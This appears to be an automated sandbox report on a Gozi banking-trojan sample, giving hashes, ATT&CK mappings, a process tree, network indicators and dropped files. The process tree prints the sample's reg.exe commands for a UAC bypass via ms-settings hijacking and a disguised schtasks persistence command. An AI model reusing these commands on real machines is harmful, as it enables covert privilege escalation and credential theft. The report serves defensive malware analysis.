gozi | 866c0294731f195b0b9efa4f9b7cac352e8de5121f63a458a75efed3a625d24a

General

Target

easfawefawfas.exe
Size

12KB
MD5

2813b6e3ed4bd6b14c53e3dffcdff21d
SHA1

5ac7c7a3dadde70f94810c608a2eb275f14b7bde
SHA256

866c0294731f195b0b9efa4f9b7cac352e8de5121f63a458a75efed3a625d24a
SHA512

ff2454992a5fbe5c8cfab149ebd5edaa089ab4f25b88a47c5da0348575a72f1de372c8e762f74f284070a7a2e1209202ca755b4c08dd99799ac5bb9a598e0a24
SSDEEP

192:LsNqFnJvOXdub8t6QP+TXVKTl1hAKje2Ecp0Gun8JZcxZQF:LsNvuI6QIKTHhA8rt0nnicxo

Score

10^/10

gozi banker isfb spyware stealer trojan

Malware Config

Extracted

Family

gozi

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi
Executes dropped EXE 1 IoCs

Processes:

aqrfd0en.exe

pid process

3372 aqrfd0en.exe
Loads dropped DLL 1 IoCs

Processes:

easfawefawfas.exe

pid process

4760 easfawefawfas.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service
T1102

Processes:

flow ioc

12 discord.com
13 discord.com
15 discord.com
1 raw.githubusercontent.com
2 raw.githubusercontent.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

356 schtasks.exe

pid	process
3372	aqrfd0en.exe

flow	ioc
12	discord.com
13	discord.com
15	discord.com
1	raw.githubusercontent.com
2	raw.githubusercontent.com

pid	process
356	schtasks.exe

Modifies registry class 7 IoCs

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\ms-settings\shell\open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\consoleitaly1826.vbs"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\ms-settings\shell\open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\ms-settings\shell	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

easfawefawfas.exeaqrfd0en.exe

pid	process
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
3372	aqrfd0en.exe
3372	aqrfd0en.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe
4760	easfawefawfas.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

easfawefawfas.exeaqrfd0en.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	4760	easfawefawfas.exe
Token: SeDebugPrivilege	3372	aqrfd0en.exe
Token: SeShutdownPrivilege	3384	Explorer.EXE
Token: SeCreatePagefilePrivilege	3384	Explorer.EXE
Token: SeShutdownPrivilege	3384	Explorer.EXE
Token: SeCreatePagefilePrivilege	3384	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

easfawefawfas.exe

pid process

4760 easfawefawfas.exe

Suspicious use of WriteProcessMemory 33 IoCs

Processes:

easfawefawfas.execmd.execmd.exeaqrfd0en.exe

description	pid	process	target process
PID 4760 wrote to memory of 932	4760	easfawefawfas.exe	reg.exe
PID 4760 wrote to memory of 932	4760	easfawefawfas.exe	reg.exe
PID 4760 wrote to memory of 932	4760	easfawefawfas.exe	reg.exe
PID 4760 wrote to memory of 396	4760	easfawefawfas.exe	reg.exe
PID 4760 wrote to memory of 396	4760	easfawefawfas.exe	reg.exe
PID 4760 wrote to memory of 396	4760	easfawefawfas.exe	reg.exe
PID 4760 wrote to memory of 5012	4760	easfawefawfas.exe	cmd.exe
PID 4760 wrote to memory of 5012	4760	easfawefawfas.exe	cmd.exe
PID 4760 wrote to memory of 5012	4760	easfawefawfas.exe	cmd.exe
PID 5012 wrote to memory of 1884	5012	cmd.exe	ComputerDefaults.exe
PID 5012 wrote to memory of 1884	5012	cmd.exe	ComputerDefaults.exe
PID 5012 wrote to memory of 1884	5012	cmd.exe	ComputerDefaults.exe
PID 4760 wrote to memory of 3832	4760	easfawefawfas.exe	cmd.exe
PID 4760 wrote to memory of 3832	4760	easfawefawfas.exe	cmd.exe
PID 4760 wrote to memory of 3832	4760	easfawefawfas.exe	cmd.exe
PID 3832 wrote to memory of 356	3832	cmd.exe	schtasks.exe
PID 3832 wrote to memory of 356	3832	cmd.exe	schtasks.exe
PID 3832 wrote to memory of 356	3832	cmd.exe	schtasks.exe
PID 4760 wrote to memory of 3372	4760	easfawefawfas.exe	aqrfd0en.exe
PID 4760 wrote to memory of 3372	4760	easfawefawfas.exe	aqrfd0en.exe
PID 3372 wrote to memory of 3384	3372	aqrfd0en.exe	Explorer.EXE
PID 3372 wrote to memory of 3384	3372	aqrfd0en.exe	Explorer.EXE
PID 3372 wrote to memory of 3384	3372	aqrfd0en.exe	Explorer.EXE
PID 3372 wrote to memory of 3384	3372	aqrfd0en.exe	Explorer.EXE
PID 3372 wrote to memory of 3384	3372	aqrfd0en.exe	Explorer.EXE
PID 3372 wrote to memory of 3384	3372	aqrfd0en.exe	Explorer.EXE
PID 3372 wrote to memory of 3384	3372	aqrfd0en.exe	Explorer.EXE
PID 3372 wrote to memory of 3384	3372	aqrfd0en.exe	Explorer.EXE
PID 3372 wrote to memory of 3384	3372	aqrfd0en.exe	Explorer.EXE
PID 3372 wrote to memory of 3384	3372	aqrfd0en.exe	Explorer.EXE
PID 3372 wrote to memory of 3384	3372	aqrfd0en.exe	Explorer.EXE
PID 3372 wrote to memory of 3384	3372	aqrfd0en.exe	Explorer.EXE
PID 3372 wrote to memory of 3384	3372	aqrfd0en.exe	Explorer.EXE

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3384
- C:\Users\Admin\AppData\Local\Temp\easfawefawfas.exe
  "C:\Users\Admin\AppData\Local\Temp\easfawefawfas.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4760
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\consoleitaly1826.vbs" /f
    3⤵
    - Modifies registry class
    PID:932
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /d "0" /f
    3⤵
    - Modifies registry class
    PID:396
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C computerdefaults.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5012
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      computerdefaults.exe
      4⤵
      PID:1884
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C schtasks /Create /SC ONLOGON /TN AVGUpdateService_gKwwuP9Gdga87vtVr050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Ringtones\gKwwuP9Gdga87vtVr050MX.exe" /RL HIGHEST /IT
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3832
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Create /SC ONLOGON /TN AVGUpdateService_gKwwuP9Gdga87vtVr050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Ringtones\gKwwuP9Gdga87vtVr050MX.exe" /RL HIGHEST /IT
      4⤵
      Creates scheduled task(s)
      PID:356
- - C:\Users\Admin\AppData\Local\Temp\aqrfd0en.exe
    "C:\Users\Admin\AppData\Local\Temp\aqrfd0en.exe" explorer.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\067ddaded7d145de9c34934f6bea77cf

Filesize
136KB

MD5
191c945d90620ea75c6db98c33905cd6

SHA1
ff0677415a57edc3e2dc0331d62b63d453eb5358

SHA256
6c89e656d34bd90176321ee29c8f820979d2cc3cfd73e2fdf0cb4e6baf80666f

SHA512
6d6d3c8e992132d1603425a8ced2a8ee965ed35673ba881229b341c8c30c7866b8c1fe7543212b67d928326dc605ecc36eb7c2a0e98876029478201253089259

Download Submit
C:\Users\Admin\AppData\Local\Temp\aqrfd0en.exe

Filesize
124KB

MD5
e898826598a138f86f2aa80c0830707a

SHA1
1e912a5671f7786cc077f83146a0484e5a78729c

SHA256
df443ccf551470b3f9f7d92faf51b3b85ae206dd08da3b6390ce9a6039b7253a

SHA512
6827068b8580822ded1fb8447bdb038d0e00633f5ef7f480a8cdeaab6928ac23022a0b7a925058e0926ce9b41a6c8c22a5692e074621b2fccdb7edd29a0d4cfb

Download Submit
C:\Users\Admin\AppData\Roaming\Gongle\a6LT5TCC33\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Roaming\Gongle\a6LT5TCC33\LOG

Filesize
329B

MD5
0023f9957b9c209893ccb5949cbdb31b

SHA1
813146ac4131b06e332b62a3ea07af8942ddb75f

SHA256
b021be34d5333703a46bb6a15a77dc2dffcc7fdd94fa0877b1c0b102e1c5ea6b

SHA512
53bd584c17c17b42b03725b4d8f435957f8afa251309dcfe9960b8393ccfc53917c0f3c99bb4abf58d80d7cbee2a44dc934436415d1cc8e0f0f3687875e2826c

Download Submit
C:\Users\Admin\AppData\Roaming\Gongle\a6LT5TCC33\LOG.old

Filesize
291B

MD5
b2df2290f73e0eac3e80d78eb1ef3602

SHA1
9c079ec457fa774394508671948bf4147b9644b6

SHA256
838554e15d2145dd1fc86d1fd4e91a263e859a02a199688f8509f6d73b38f652

SHA512
791706e08f6171fa7a13a8bb70ae835dd1041e8f4cc72fe7ee2d081771222ef950dab0e17887ea88ba97ac73fca0b02f74cadda27e210b9c2b1877d8b542961d

Download Submit
C:\Users\Admin\AppData\Roaming\Gongle\a6LT5TCC33\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Roaming\Gongle\aN2GQDR0AF\wjyk7j4u.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite

Filesize
48KB

MD5
854a10c0922c27cfeffb77307ee80a71

SHA1
bb8cbe8467bfc490031e29fb27fe50ec014f53e2

SHA256
f696b1fa16384ecdec974e1bc9a8841fd50cb739818654dc3c7716821d52f69b

SHA512
a5004751e3b89fdf4ce49492c46d09eca1a0177c57cacc6546deb236a17c747600748537687713516565330907a2541d3bba4b96cc3b106d589e38ef09b86162

Download Submit
\Users\Admin\AppData\Local\Temp\Costura\40BD99E3E2E3C109881E4ECA2DEDC617\32\sqlite.interop.dll

Filesize
1.4MB

MD5
6f2fdecc48e7d72ca1eb7f17a97e59ad

SHA1
fcbc8c4403e5c8194ee69158d7e70ee7dbd4c056

SHA256
70e48ef5c14766f3601c97451b47859fddcbe7f237e1c5200cea8e7a7609d809

SHA512
fea98a3d6fff1497551dc6583dd92798dcac764070a350fd381e856105a6411c94effd4b189b7a32608ff610422b8dbd6d93393c5da99ee66d4569d45191dc8b

Download Submit
memory/3384-21-0x0000000000DB0000-0x0000000000DB8000-memory.dmp

Filesize
32KB

Download
memory/3384-28-0x0000000000DB0000-0x0000000000DB8000-memory.dmp

Filesize
32KB

Download
memory/3384-27-0x0000000000DB0000-0x0000000000DB8000-memory.dmp

Filesize
32KB

Download
memory/3384-25-0x0000000000DB0000-0x0000000000DB8000-memory.dmp

Filesize
32KB

Download
memory/3384-22-0x0000000000DE0000-0x0000000000DE1000-memory.dmp

Filesize
4KB

Download
memory/4760-37-0x0000000008800000-0x000000000880C000-memory.dmp

Filesize
48KB

Download
memory/4760-2-0x00000000025D0000-0x00000000025EA000-memory.dmp

Filesize
104KB

Download
memory/4760-34-0x0000000000A80000-0x0000000000A8A000-memory.dmp

Filesize
40KB

Download
memory/4760-36-0x000000000A080000-0x000000000A0E6000-memory.dmp

Filesize
408KB

Download
memory/4760-35-0x000000000A000000-0x000000000A00A000-memory.dmp

Filesize
40KB

Download
memory/4760-0-0x00007FFCC9220000-0x00007FFCC93FB000-memory.dmp

Filesize
1.9MB

Download
memory/4760-38-0x0000000008820000-0x0000000008828000-memory.dmp

Filesize
32KB

Download
memory/4760-8-0x000000000A520000-0x000000000B120000-memory.dmp

Filesize
12.0MB

Download
memory/4760-5-0x0000000005000000-0x00000000054FE000-memory.dmp

Filesize
5.0MB

Download
memory/4760-4-0x0000000004A60000-0x0000000004AF2000-memory.dmp

Filesize
584KB

Download
memory/4760-3-0x00000000025C0000-0x00000000025CA000-memory.dmp

Filesize
40KB

Download
memory/4760-9-0x0000000012270000-0x0000000012F12000-memory.dmp

Filesize
12.6MB

Download
memory/4760-146-0x0000000008830000-0x00000000088E2000-memory.dmp

Filesize
712KB

Download
memory/4760-147-0x0000000008950000-0x0000000008972000-memory.dmp

Filesize
136KB

Download
memory/4760-148-0x0000000008A00000-0x0000000008A76000-memory.dmp

Filesize
472KB

Download
memory/4760-149-0x00000000089C0000-0x00000000089DE000-memory.dmp

Filesize
120KB

Download
memory/4760-150-0x0000000008AD0000-0x0000000008B20000-memory.dmp

Filesize
320KB

Download
memory/4760-151-0x0000000008B20000-0x0000000008B8A000-memory.dmp

Filesize
424KB

Download
memory/4760-152-0x0000000008B90000-0x0000000008EE0000-memory.dmp

Filesize
3.3MB

Download
memory/4760-153-0x0000000008EE0000-0x0000000008F2B000-memory.dmp

Filesize
300KB

Download
memory/4760-157-0x00000000091B0000-0x00000000091EC000-memory.dmp

Filesize
240KB

Download
memory/4760-158-0x0000000009180000-0x00000000091A0000-memory.dmp

Filesize
128KB

Download
memory/4760-1-0x00000000003C0000-0x00000000003CC000-memory.dmp

Filesize
48KB

Download
memory/4760-164-0x0000000009210000-0x000000000921A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads